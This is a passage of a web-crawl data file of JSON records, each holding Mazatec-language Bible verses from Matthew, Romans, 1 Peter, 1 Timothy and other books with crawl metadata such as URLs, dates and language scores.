kijtse Jesús nga 'ñó kjìn ma‑ni xi̱ta̱, kjòhi̱ma̱ke‑ní; nga̱ jñà xi̱ta̱ batoó 'ñó itsi'on‑la̱ ko̱ mì ti̱ mé nga'ñó tjín‑la̱; 'koa̱á 'sín kjòn koni jñà forrè ra tsìn‑la̱ chji̱ngo̱ ra ko'ndá. 37'Kia̱á kitsò‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱: ―Kjo̱hixi̱‑ní, 'ñó tse xá tjín a̱'ta 'tse̱ 'Én‑la̱ Nainá, koni 'sín ma 'kia̱ nga kjìn tsajmì majchá, tanga jñà chi̱'nda ra síxá, chibaá ma‑ni. 38Kií machjeén‑ní nga ti̱jé‑la jè Ni‑la̱ xá, mé‑ni nga katasíkasén-isa‑ni chi̱'nda.\nSan Mateo 9","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/9","date":"2014-03-10T21:14:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011020120\/warc\/CC-MAIN-20140305091700-00031-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":1064,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"32Nga̱ jè Juan ra tsatíndá xi̱ta̱, kií xá 'ji‑ni nga tsakón‑ya‑la̱ xi̱ta̱ kó'sín kixi̱ si̱ìjchá ijo‑la̱, tanga jiòn mì kì kjokjiín‑no a̱'ta 'tse̱. Tanga jñà xi̱ta̱ ra síkíchjítjì tsajmì ko̱ jñà ra íchjín ská kjokjiín‑la̱ ra a̱'ta 'tse̱ Juan. Ko̱ jiòn ni̱'sín nda kijcha nga'tsì kjoa̱ kìi̱, mì kì iníkájno jé‑no ko̱ mì kì kjokjiín‑no.\nSan Mateo 21:32\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/21\/32","date":"2014-03-15T00:06:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678695499\/warc\/CC-MAIN-20140313024455-00029-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":61,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15Mìtsà ji̱n ndaà nìkítsa̱jna‑je̱n yijo‑naje̱n i̱t'aà ts'e̱ xá xi nchis'ín xi̱ta̱ xi kj'ei̱í. Mìtsà titsa̱nìkatonè‑la̱je̱n chi̱ba̱‑la̱ koni kji xá xi oko̱‑naje̱n. Chiñàkjoa̱‑náje̱n, koni s'ín ìsa̱ 'ñó ndaà ko̱kjeiín‑nò, ko̱ ìsa̱á ko̱tseya xá xi titsa̱'nè‑je̱n. Ta̱nga ta k'oa̱á kji si̱xá‑je̱n koni s'ín tje̱n chi̱ba̱‑la̱.\n2 Corintios 10:15\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/10\/15","date":"2014-03-08T12:23:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654440\/warc\/CC-MAIN-20140305060734-00075-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9992823005,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 0.9992823004722595}","num_words":48,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"22Chìtsejèn‑la̱ Nainá, 'ñó ndaà xi̱ta̱ ta̱nga ti̱koa̱á jè xi mejèn‑la̱ nga ndaà ki̱tasòn 'én xi chja̱. Mìkiì beè i̱ma̱ jñà xi̱ta̱ xi chinchat'aàxìn‑la̱ Nainá. Ta̱nga i̱t'aà tsi̱ji títsjá‑lè kjo̱ndaà. Tà jè xi mochjeén nga k'oa̱s'ín ki̱jni koni s'ín tjín kjo̱ndaà xi kitsjaà‑lè. Tsà majìn ti̱koa̱ ko̱tet'aà‑lè koni jngoò chrja‑la̱ yá.\nRomanos 11:22\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/22","date":"2014-03-08T05:15:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653325\/warc\/CC-MAIN-20140305060733-00070-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":55,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kií machjeén‑ni nga ti̱kítsa̱jna ijye jiòn nga'tsì kjoa̱ ra 'cho tjín, nga'tsì ra 'mì kjoa̱ konda̱cha̱, kjoa̱ ra jò i̱sén tjín, ko̱ kjoa̱xìtakòn, ko̱ nga'tsì 'én 'cho ra nakjoájno‑lá xàngie̱é. 2Ko̱'sín 'tia̱àn jiòn koni 'sín 'sín jñà ndí i̱xti‑xó 'kia̱ nga ti̱'sa̱ tsin; jè 'ñó tjatsji jiòn ra ngi ta jè 'én‑la̱ Nainá, koni ngoya‑la̱ jñà ndí i̱xti‑xó, 'kia̱ nga ti̱'sa̱ tsin, ngi ta tsjín bátsji. Tsa ko̱'sín 'sia̱an jiòn, jè ko̱si̱ko̱‑no nga nda ko̱jchá jiòn ra a̱'ta 'tse̱ Nainá koni 'sín títsjá‑no kjo̱nda nga kítjo̱kajion kjo̱hi'in ra kjoa̱ 'tse̱ jé‑no. 3Nga̱ ijyeé i̱nchichjí'ta‑najiòn nga jè Na̱'ín‑ná batoó nda xi̱ta̱. 4Ti̱chraña'ta‑la jè Jesucristo ra 'koa̱á ngoya‑la̱ koni jngo na̱jo̱ ra tíjnakon; jè na̱jo̱ ra jñà xi̱ta̱ i̱sà'nde tsachrjengi; tanga ra a̱'ta 'tse̱ Nainá, xá itjahíjiín‑ni jè na̱jo̱ ra̱kìi̱, ko̱ batoó 'ñó chjí‑la̱. 5Tsa si̱chraña'ta‑la jiòn, 'koa̱á ti̱'sín ka̱ma jiòn koni na̱jo̱ ra tjítsa̱kon; ko̱ jiòn ka̱ma jiòn na̱jo̱‑la̱ ni'ya tsje‑la̱, mé‑ni nga ya̱ si̱xá‑nájiòn koni na̱'mì tsje‑la̱ Nainá nga a̱'ta 'tse̱ Jesucristo 'ki̱‑la kjo̱tjò ra si̱ìtsjako̱ Nainá, jñà kjo̱tjò ra nda sasén‑la̱ ra jè. 6'Koa̱á ma‑ni nga ko̱'sín tíchja̱‑te jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga tsò: Jngo na̱jo̱ sìkíjnaa̱ ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá ra tíjna sòn'nga ya̱ nindo Sión, jngo na̱jo̱ ra tíjna títjòn nga bí'ñóya ya̱ nga chrja̱ngi̱‑la̱ ni'ya, ra xá itjahájin‑ni ko̱ ra 'ñó chjí‑la̱. Jè ra ko̱kjiín‑la̱ a̱'ta 'tse̱ na̱jo̱ ra̱kìi̱, mì kì tsa kjo̱sabà ska̱jin‑jìn. 7Jè na̱jo̱ ra̱kìi̱ batoó 'ñó chjí‑la̱ a̱'ta tsa̱jiòn ra makjiín‑no; tanga jñà xi̱ta̱ ra mì kì makjiín‑la̱, ya̱á bitjasòn koni 'sín tíchja̱‑te jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga tsò: Jè na̱jo̱ ra tsachrjengi jñà xi̱ta̱ ra bínda chrjó, jè tíma‑ni na̱jo̱ nga'ñó ra síjna títjòn ya̱ nga chrja̱ngi̱‑la̱ ni'ya. 8Ko̱ 'koa̱á ti̱ tsò‑te: Jngo na̱jo̱ ra saténgie̱é, ko̱ ra síkàtje̱n‑ná. Nga̱ jñà xi̱ta̱ ya̱á saténgi, 'kia̱ nga mì ma‑la̱ síhitjasòn koni 'sín nga tsò 'én ra 'sena̱jmíya‑la̱; ko̱ 'koa̱á 'sín ma'tin koni 'sín nga tjínè‑la̱ nga ka̱ma'tin. 9Tanga ra jiòn, jè tje̱‑najiòn, xá 'koa̱á 'sín itjahájin‑ni. Jiòn ma jiòn na̱'mì ra síxá'ta‑la̱ Cristo ra Xi̱ta̱ Ítjòn tíjna. Na̱xi̱ndá tsje‑la̱ Nainá‑nájiòn, jngo na̱xi̱ndá ra jè Nainá kjomejèn‑la̱ nga 'tse̱ ki̱tso̱‑la̱. Kií ko̱'sín ki'sìn‑ni Nainá mé‑ni nga jiòn 'kéna̱jmíya‑najiòn kjoa̱ ra 'ñó nda tjín a̱'ta 'tse̱ jè ra tsachrjekàjin‑najiòn ya̱ kjoa̱ jñò ra titsa̱jnajin jiòn tsiki mé‑ni nga ma itjàha̱'se̱n‑jin jiòn ya̱ ñánda̱ tíjna ni'í‑la̱ ra 'ñó nda síhisen‑ná. 10Nga ti̱'sa̱ kjotseé skanda mí tsa xi̱ta̱ na̱xi̱ndá 'mì‑najiòn, tanga 'ndi̱ 'ndi̱ ijyeé na̱xi̱ndá‑la̱ Nainá ma jiòn. Nga ti̱'sa̱ kjotseé mì kì mahi̱ma̱ke‑najiòn jè Nainá, tanga 'ndi̱ 'ndi̱, ijyeé mahi̱ma̱keé‑najiòn jè Nainá. 11Jiòn ndí 'ndsé ra 'ñó matsjacha‑no, 'koa̱á 'sín tíbitsá'ba‑no koni tsa jñà xi̱ta̱ ra mì tsa ya̱ i̱'nde‑la̱ ra ta jngohíjta títsa̱jna ya̱ i̱sà'nde ra̱kìi̱, 'tia̱àn kjo̱nda, kì ya̱ 'chaájioòn jñà kjoa̱'cho ra faajin‑la̱ ijo‑ná ra kjaán‑ko̱ ki'ta‑ná nga mejèn‑la̱ si̱ìkijne‑ná. 12Nda kjòn ti̱jchá ijo‑no ya̱ a̱jin‑la̱ xi̱ta̱ ra mì kì makjiín‑la̱ a̱'ta 'tse̱ Cristo, ni̱'sín ko̱'sín katachja̱jno‑najiòn koni tsa xi̱ta̱ 'cho kjòn jiòn. Tanga jè ni̱chjin 'kia̱ nga kj'i̱í india‑ni Cristo, jñà xi̱ta̱ kìi̱, jeyaá si̱ìkíjna‑ni Nainá 'kia̱ nga ske̱ nga ndaá tjín jñà kjoa̱ ra 'nià jiòn. 13Ta nga̱tjì‑la̱ nga mì yá ra ki̱chja̱jno‑la̱ Na̱'ín‑ná, nda ti̱hitjasòn‑la jñà xi̱ta̱xá ni̱'sín ta ñáa̱ xá ra tjín‑la̱ i̱ a̱'ta nangi, koni jè xi̱ta̱xá ítjòn ra 'nga xá tjín‑la̱, 14ko̱ jñà xi̱ta̱ ra i̱nchibatéxoma‑la̱ nga jngó jngó na̱xi̱ndá i'i nga jñà, xá 'koa̱á 'sín isìkasén‑ni jè xi̱ta̱xá ítjòn nga tsjá‑la̱ kjo̱hi'in xi̱ta̱ ra 'cho 'sín ko̱ nga nda si̱ìkítsa̱jna jñà xi̱ta̱ ra nda 'sín. 15Nga̱ jè ra mejèn‑la̱ Nainá nga nda 'tia̱àn jiòn, mé‑ni nga katasichjà'a‑ni jñà xi̱ta̱ ra mì kì machi̱ya‑la̱ ra mì kì be mé 'én ra chja̱. 16'Koa̱á 'sín 'tia̱àn jiòn, koni jñà xi̱ta̱ ra títsa̱jnandi̱í; tanga kì ta ki‑ni nga titsa̱jnandi̱í jiòn nga jñà ko̱'sia̱an kjoa̱ ra 'cho tjióo̱n. 'Koa̱á 'sín nda 'tia̱àn jiòn koni 'sín nga chi̱'nda‑la̱ Nainá 'mì‑no. 17Nda jcha̱xkón ijye nga'tsì xi̱ta̱. Tsjacha 'tia̱àn jñà ra 'ndsè chibà. Ti̱skón‑cha jè Nainá. Ko̱ nda jcha̱xkón jè ra xi̱ta̱xá ítjòn tíjna. 18Jiòn ra xi̱ta̱ chi̱'nda 'mì‑no, nda jcha̱xkón ko̱ nda ti̱hitjasòn‑la xi̱ta̱ ra níxá'ta‑la. Mì tsa ta jñà ra nda síko̱‑no ko̱ ra nda betjò‑no; 'koa̱á ti̱'sín nda ti̱hitjasòn‑la jñà ra 'ñó beton‑te‑no. 19Nga̱ ndaá baxki̱ ya̱ ngixko̱n Nainá jñà xi̱ta̱ ra síkjiín kjo̱hi'in ra mì kì bakèn‑la̱ ko̱ chíkjoa̱ko̱ó‑la̱ kjo̱hi'in ki, ta nga̱tjì‑la̱ nga̱ fìyaá‑la̱ mé ra mejèn‑la̱ Nainá. 20Ni̱ ta yá ra nda ske̱xkón‑najiòn tsa ta kií nga̱tjì‑la̱ nga 'cho i̱nchi'nià nga ko̱tjín kjo̱hi'in tsjá‑no xi̱ta̱. Tanga tsa nda i̱nchi'nià jiòn ko̱ chíkjoa̱ko̱‑no kjo̱hi'in ra tsjá‑no xi̱ta̱, sakó‑no kjoa̱nda ya̱ ngixko̱n Nainá. 21Nga̱ kií xá ko̱'sín kiìchja̱‑no Nainá, nga jè Cristo, 'koa̱á ti̱'sín isìkjiín kjo̱hi'in ra ta nga̱tjì tsa̱jiòn, ko̱ jngoó xkósòn tsikíjna‑najiòn mé‑ni nga ko̱'sín 'sia̱an‑najiòn koni 'sín nga ki'sìn ra jè. 22Nga̱ jè Cristo, ni̱jngo jé tsakátsji ra jè, ko̱ ni̱jngo 'én ndiso kiìchja̱. 23'Kia̱ nga kiìchja̱jno‑la̱ jñà xi̱ta̱, mì tsa isíkáfa ngajo‑ni ra jè. Ko̱ 'kia̱ nga kjo̱hi'in ki'tsì‑la̱, mì tsa kitsò‑jìn, 'koa̱á ti̱'sín sikó ngajo‑no. Kjoa̱ ra kjomà'tin, tà ya̱á isìnga̱tsja jè Nainá ra ma‑la̱ nda kjòn bíndajín kó'sín tjín nga jngó jngó kjoa̱. 24Jè sabà Cristo 'tsamijìn jñà jé ra tjín‑ná, ya̱á iskanè ijye ya̱ ijo‑la̱ ya̱ a̱'ta krò, mé‑ni nga katiyeé ra jién ra a̱'ta 'tse̱ jé, ko̱ ya̱á si̱jchá‑jieén ijo‑ná a̱'ta 'tse̱ kjo̱binachon ra kixi̱ tjín. Kií xá kitijnó kiti'tá‑ni ijo‑la̱ Cristo nga itsi'on, mé‑ni nga ko̱nda‑ni 'chin ra tjín‑najiòn. 25Nga̱ 'koa̱á 'sín kjòn jiòn nga ti̱'sa̱ kjotseé koni tsa jñà ndí forrè ra ichijà. Tanga 'ndi̱ 'ndi̱‑ni̱ ijyeé ya̱ tsáfa'ta‑la jiòn jè Cristo, koni jè chji̱ngo̱ ra nda tjíkinda̱‑la̱ kjo̱binachon‑no.\n1 Pedro 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/2","date":"2014-03-14T05:22:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678686979\/warc\/CC-MAIN-20140313024446-00074-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":915,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10Jñà ra 'ya‑la̱ nga nda isíjchá ijo‑la̱ 'tse̱ xá ra nda tjín; tsa ndaá isíjchá i̱xti‑la̱, tsa ndaá isìsin‑la̱ xi̱ta̱ ra ijchòjkon ni'ya‑la̱, tsa tsiníjnoó ndsa̱ko̱ xi̱ta̱‑la̱ Cristo nga nda isìsin‑la̱, tsa tsasìko̱ó xi̱ta̱ ra kjoa̱ tjín‑la̱. Tsa ko̱'sín isìhitjasòn nga'tsì xá ra nda tjín ko̱ma si̱'ta xa̱jo̱n.\n1 Timoteo 5:10\nFREE!\nOne App.\n1350 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/5\/10","date":"2014-03-15T17:30:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678699073\/warc\/CC-MAIN-20140313024459-00068-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"maa_Latn_score\": 0.9999955892562866}","num_words":53,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16Tsa jngo xi̱ta̱ ra makjiín‑la̱ 'én‑la̱ Nainá tsa tjín íchjín xákjén ra ijye 'ken 'xi̱n‑la̱, machjeén‑ní nga katasiko̱ xákjén mé‑ni nga mì jè na̱xi̱ndá‑la̱ Cristo 'ñó ska̱nè‑ila̱ xá. Jè na̱xi̱ndá‑la̱ Cristo ka̱ma ko̱si̱ko̱ jè chjo̱ón ra ijye 'ken 'xi̱n‑la̱ ra ngi kixi̱ kjoa̱ nga i'in tíjna.\n1 Timoteo 5:16\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/5\/16","date":"2014-03-10T13:08:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010803689\/warc\/CC-MAIN-20140305091323-00074-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 1.0000040531158447}","num_words":51,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Chja̱àxìn‑là yijo‑nò xi kjoa̱ ts'e̱n, kjoa̱ chona̱cha̱n, kjoa̱ ts'e̱ xi̱ta̱ xi jò i̱sén tjín‑la̱, kjoa̱xìtakòn, ngats'iì 'én ndiso. 2Ko̱s'ín t'e̱en koni s'ín ndí i̱xti xi sa̱ kits'iìn nga 'ñó síjé tsjín nga mejèn‑la̱ ko̱ki. K'oa̱á ti̱s'ín 'ñó ti̱nchátsjioò jè 'én‑la̱ Nainá xi nguì 'én tsjeè mé‑ne nga jè ko̱jchá‑nò ko̱ ko̱chrjekàjiìn‑nò kjo̱'in Nainá, 3nga jyeé ki'yaà jñò nga jè Na̱'èn‑ná, 'ñó ndaà xi̱ta̱. 4Jè Jesucristo, jè ngaya‑la̱ jngoò nda̱jo̱ xi tíjnakon, jè xi ochrjekàngui jñà xi̱ta̱, ta̱nga Nainá xó k'oa̱á s'ín jaàjiìn‑ne nga 'ñó tse chjí‑la̱. Jñò, k'e̱ nga binchat'aà chrañà‑là Cristo, 5ti̱koa̱á k'oa̱á s'ín ngaya‑nò koni nda̱jo̱ xi títsa̱jnakon. Nainá tísíkjeén‑nò koni nda̱jo̱ nga tíbíndaà ni'ya tsjeè‑la̱ mé‑ne jñò, no̱'miì tsjeè ko̱ma nga ya̱ si̱xá nga i̱t'aà ts'e̱ Jesucristo k'oi̱‑là kjo̱tjò Nainá xi jè ndaà sasén‑la̱ koni s'ín okóya Ini̱ma̱ Tsjeè‑la̱. 6K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Chítsejèn‑là, 'a̱n síkíjna jngoaà nda̱jo̱ nga'ñó‑la̱ chrja̱ngui̱‑la̱ ni'ya ján na̱xa̱ndá Sión, xi xó 'a̱n jaàjiìn‑na, xi 'ñó ndaà kji ko̱ 'ñó tse chjí‑la̱. Jè xi ko̱kjeiín‑la̱ i̱t'aà ts'e̱, mìkiì ko̱sobà‑la̱. 7Jñò, xi mokjeiín‑nò i̱t'aà ts'e̱ nda̱jo̱ jè, bixón‑nò: 'ñó tse chjí‑la̱. Ta̱nga jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱, bitasòn‑né koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Jè nda̱jo̱ xi tsachrjekàngui chji̱ne̱chrjó, jè xi nda̱jo̱ sko̱‑la̱ ko̱ma ts'e̱ chrja̱ngui̱‑la̱ ni'ya. 8Ìjngoò k'a tjít'aà Xo̱jo̱n‑la̱ Nainá ñánda tsò: Nda̱jo̱ jè, kjìn xi̱ta̱ satíngui ko̱ kjìn xi̱ta̱ ki̱xangui. Jñà xi̱ta̱ koi, k'oa̱á s'ín mat'in nga mìkiì síkitasòn koni tsò 'én‑la̱ Nainá; koií ko̱s'ín mat'in‑ne nga k'oa̱á s'ín ok'ìn‑la̱. 9Ta̱nga jñò, xi̱ta̱ na̱xa̱ndá xi xó kitjaàjiìn‑nò. Jñò, no̱'miì xi nìxá‑la Cristo, jè xi xi̱ta̱xá ítjòn tíjna. Jñò, xi na̱xa̱ndá tsjeè‑la̱ Nainá 'mì‑nò, jngoò na̱xa̱ndá xi ya̱ nokjoà‑nò i̱t'aà ts'e̱ Nainá mé‑ne nga ko̱ma ki̱nókjoa̱ya‑nò kjo̱ndaà‑la̱ Nainá xi tsachrjekàjiìn‑nò kjoa̱ ts'e̱ jé ñánda jñò choòn koa̱ ya̱á kisìkítsa̱jna‑nò ñánda iseèn choòn. 10Jñò, nga sa̱ kjòtseé skanda mìtsà xi̱ta̱ na̱xa̱ndá 'mì‑nò; ta̱nga i̱'ndei̱ na̱xa̱ndá‑la̱ Nainá 'mì‑nò. Nga sa̱ kjòtseé Nainá mìkiì mahi̱ma̱keè‑nò; ta̱nga i̱'ndei̱, jyeé mahi̱ma̱keè‑nò. 11Jñò ndí 'ndsè xi 'ñó matsjacha‑nò, bítsi'ba‑nò koni xi̱ta̱ xi mì ti̱ nangui‑nò titsa̱jna‑nò xi ta titsa̱bitjaàjtoò i̱ i̱sò'nde, kì kiì biì'nde‑la yijo‑nò kjoa̱ ts'e̱ jé xi síjé yijo‑nò xi kjaán‑ko̱ ini̱ma̱‑nò. 12Ndaà tanguíko̱o yijo‑nò ya̱ i̱jiìn‑la̱ xi̱ta̱ xi mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Jñà xi̱ta̱ koi, na̱s'ín chja̱jno‑nò i̱'ndei̱, ta̱nga k'e̱ nga kjoi̱í ìjngoò k'a Cristo tsjá‑la̱ kjo̱ndaà Nainá koií kjoa̱‑la̱ nga skoe̱xkon‑nò nga ndaà titsa̱'nè. 13Nga jeya kíjna‑ne Na̱'èn‑ná, ti̱kitasòn‑là ngats'iì xi̱ta̱ i̱sò'nde xi kjo̱tíxoma tjíya tsja, jñà xi 'ñó 'nga xá tjín‑la̱, xi xi̱ta̱ sko̱‑la̱ títsa̱jna; 14ti̱koa̱ ti̱kitasòn‑là jñà xi gobernador títsa̱jna nga jè xi̱ta̱xá ítjòn síkasén nga tsjá‑la̱ kjo̱'in xi̱ta̱ xi kjoa̱ ótsji; koa̱ jñà xi ndaà s'ín, ndaà síkítsa̱jna. 15Nainá k'oa̱á s'ín mejèn‑la̱ nga jñò, ndaà s'e̱en, mé‑ne jñà xi̱ta̱ xi mìkiì machi̱ya‑la̱ jyò kítsa̱jna‑ne, nìmé 'én ki̱chja̱ xi kondra̱ tsa̱jòn. 16Jñò, k'oa̱á s'ín ti̱jchá yijo‑nò nga titsa̱jnandei̱í‑nò, ta̱nga kì k'oa̱á s'ín nìkítsjeèn nga tjí'nde‑nò nga ch'o s'e̱en. K'oa̱á s'ín ti̱jchá yijo‑nò nga chi̱'nda‑la̱ Nainá maà. 17Jcha̱xkón yije xi̱ta̱. Ti̱tsjacha xi 'ndsè chibà. Ti̱skón‑chaà Nainá. Jcha̱xkón jè xi xi̱ta̱xá ítjòn tíjna. 18Jñò xi xi̱ta̱ chi̱'nda 'mì‑nò, jcha̱xkón koa̱ ti̱kitasòn‑là nei‑nò. Mìtsà ta jñà nei‑nò xi ndaà síko̱‑nò ko̱ xi beètjò‑nò, ti̱koa̱á ti̱kitasòn‑là jñà xi ch'o síko̱‑nò. 19Ndaà bìtsa̱jna nga nguixko̱n Nainá jñà xi̱ta̱ xi kjo̱'in síkjeiín na̱s'ín mì jé tjín‑la̱ ta jè nga̱tjì‑la̱ nga machi̱ya‑la̱ kó tsò Nainá. 20Jñò, tsà kjo̱'in tsjá‑nò xi̱ta̱ nga jé binchaàtsjioò, ¿mé xi ndaà ki̱tsa̱jna‑nò? Ta̱nga tsà kjo̱'in titsa̱nìkjioón nga ndaà 'nè, ndaà si̱ìkítsa̱jna‑nò Nainá. 21Nga koií xá kiìchja̱‑nò Nainá nga jè Cristo kisìkjeiín kjo̱'in xi kjoa̱ tsa̱jòn. Tsibíjna jngoò‑nò chi̱ba̱ nga k'oa̱s'ín si̱kitasòn koni s'ín kisìkitasòn jè. 22Cristo, ni̱jngoò jé tsohótsji, ko̱ ni̱jngoò 'én ndiso kiìchja̱. 23K'e̱ nga kiìchja̱jno‑la̱ xi̱ta̱, mìkiì tsà kiìchja̱jno ngajo‑la̱. K'e̱ nga kisìkjeiín kjo̱'in, mìkiì tsà koa̱ ti̱s'ín kis'iìn ngajo‑ne. Ta Nainá tsibíya tsja, nga jè xi bíndaàjiìn kjoa̱kixi̱. 24Jè sobà Cristo tsakaje̱n jé‑ná k'e̱ nga kisìtjoòt'aà yijo‑la̱ ya̱ krò, mé‑ne jñá ki̱tsa̱jnakon‑ná nga nìkitasoán xi kjoa̱ kixi̱ nga jyeé titsa̱jnat'aàxìn‑lá kjoa̱ ts'e̱ jé koni tsà jye k'eén. Jè Cristo, koni s'ín kisìkjeiín kjo̱'in nga kitsì'on, jñò kjòndaá‑nò. 25Jñò, nga sa̱ kjòtseé, k'oa̱á s'ín tsitjaà koni orrè xi kisìjchàaxkon ndi̱yá‑la̱, ta̱nga i̱'ndei̱, jyeé inchrobàt'aà‑là Cristo koni jngoò paxtò xi síkinda̱ ini̱ma̱‑nò.\n1 Pedro 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/1Pet\/2","date":"2014-03-17T17:58:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705768\/warc\/CC-MAIN-20140313024505-00091-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":685,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8Ta̱nga jñá, ya̱á titsa̱jnaá ñánda iseèn choòn. K'oa̱á ma‑ne nga ndaà si̱jchá yijo‑ná. Jè 'én xi mokjeiín‑ná ko̱ jè kjoa̱tjòcha, jñà ko̱si̱ko̱ ini̱ma̱‑ná koni jngoò soldado xi ndaà kijtsa ini̱ma̱‑la̱ jè chrjoa̱ xi 'mì coraza. Ko̱ k'e̱ nga nguì tíjngoò takoán nga chiñá‑lá jè na̱chrjein k'e̱ nga ki̱tjokàjñaá kjo̱'in, jè ngaya‑la̱ tsí'nguién ki̱cha̱ xi osìko̱ sko̱ soldado.\n1 Tesalonicenses 5:8\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/5\/8","date":"2014-03-08T05:48:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999653416\/warc\/CC-MAIN-20140305060733-00033-ip-10-183-142-35.ec2.internal.warc.gz","language":"maa","language_score":0.9999676943,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 0.9999676942825317}","num_words":62,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.29,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12Jè xi̱ta̱ ra ta tímachjí‑la̱ nga ko'ndá forrè, 'kia̱ nga be nga nchrabá jè tsi̱jén tà isa̱á tsjin jnchro jñà forrè ko̱ a̱kjòn fahachinga, nga̱ ki, mì tsa ngi chji̱ngo̱ cho̱‑jìn ko̱ mì tsa 'tse̱‑jìn jñà forrè. Ko̱ jè tsi̱jén, a̱kjòn tsabá'ñó jñà ndí forrè, jndíi̱ ra ján síkjahachinga.\nSan Juan 10:12\nFREE!\nOne App.\n1348 